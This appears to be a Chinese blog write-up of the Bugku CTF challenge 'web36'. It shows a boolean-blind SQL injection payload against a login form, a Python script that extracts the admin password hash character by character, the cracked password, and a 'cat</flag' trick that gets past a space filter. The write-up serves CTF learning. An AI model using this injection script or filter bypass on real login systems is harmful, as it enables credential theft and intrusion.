Bugku:web36

有一个登录页面,习惯性先扫扫
在这里插入图片描述
在这里插入图片描述
查看一些include发现存在文件
在这里插入图片描述
点击进去看不见什么代码,然后再看看别的东西

/images

里面存在提示。这题应该是有注入的漏洞。
在这里插入图片描述
当user进行输入的时候,会转换成0,直接输入0时,是没有值的。但是我们可以通过闭合字符串来实现。
在这里插入图片描述
构造'-0-',对user=’’=0进行闭合。

user=''=0
user=''-0-''=0

在这里插入图片描述
此时我们可以构造sql语句来获得密码
(这里我不会写,去别的师傅wp看的)

 admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'

首先闭合admin然后后面的这段表示对passwd这列进行字段的提取。

若ascii(MID((passwd)from(“1”)))="+str(ord(0))+"成立为‘真’转换成为数字型1,反之为0,payload转换为admin’-1-’ 和 admin’-0-’ 形式
通过判断返回内容是否存在username error!!@_@"来确定条件是否为真

然后利用一下别的师傅写的脚本(https://blog.csdn.net/qq_45774670/article/details/109366269

#!-*-coding:utf-8-*-
import requests
url = "http://114.67.246.176:15531/login.php"
cookie = {
    'PHPSESSID':'6jbkaich9501usgf33jrpp32h2'
}

password = ""
for i in range(1,33):
    for j in '0123456789abcdef':
        payload = "admin'-(ascii(MID((passwd)from("+str(i)+")))="+str(ord(j))+")-'"
        data = {
            'uname': payload,
            'passwd': '123'
        }
        r = requests.post(url=url,cookies=cookie,data=data)
        #print r.content
        if "username error!!@_@" in r.content.decode():
            password += j
            print(password)
            break

得到md5字符串。
在这里插入图片描述
https://www.somd5.com/解密网站
得到bugkuctf
登录:账号为'-0-',密码就是bugkuctf
在这里插入图片描述
ls发现文件
在这里插入图片描述
这里空格被过滤,但是我们可以构造

cat</flag

直接找到flag
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值